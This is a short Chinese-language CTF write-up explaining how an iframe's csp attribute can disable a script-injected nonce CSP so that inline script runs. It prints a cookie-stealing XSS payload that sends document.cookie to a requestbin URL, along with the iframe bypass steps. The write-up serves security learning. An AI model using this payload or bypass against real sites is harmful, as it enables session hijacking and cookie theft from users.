TCTF的题, 看到了大佬的一种解法。 学习了一下这种解法的原理。
https://gist.github.com/tyage/8d8aead76ffc4924579783d72a63419f
1 | <script>location.href="//requestbin.fullcontact.com/15g8ko51?"+document.cookie</script> |
看了这个解法我才知道iframe还有个csp属性。。
把题目简化一下。
1 | <head></head> |
引入的js内容, 是用来创建csp的, script-src的nonce是在变化的。
1 | meta = document.createElement('meta'); |
看一下iframe的csp是干啥的
iframe elements have a csp attribute, which specifies the policy that an embedded document must agree to enforce upon itself. For example, the following HTML would load https://embedee.example.com/, and ensure that object-src ‘none’ was enforced upon it:
也就是说, 如果iframe标签中定义了csp属性的话, 加载嵌入的页面的时候会按照这个csp的规则来加载。
那么如果使用iframe来加载当前页面的话, 再定义csp为unsafe-inline,
1 | <script src='https://h4x0rs.date/assets/csp.js?id=&page=index.php'></script> |
这样原本页面中引入csp.js的时候就会因为csp的原因被chrome给拦截掉,
即创建script-src 的nonce就失败了,则嵌入的页面当前csp依旧为unsafe-inline。
1 | <script>alert(document.domain)</script> |
就可以执行了。
1 | <head></head> |
如果js创建csp不是引入的外部js, 而就是在脚本内的话。
1 | <head></head> |
把csp改成script-src ,自己的域名, 或者data协议之类的即可。
现在的浏览器应该暂时只有chrome支持iframe的csp属性。
大部分创建csp还是会在response header中来创建滴。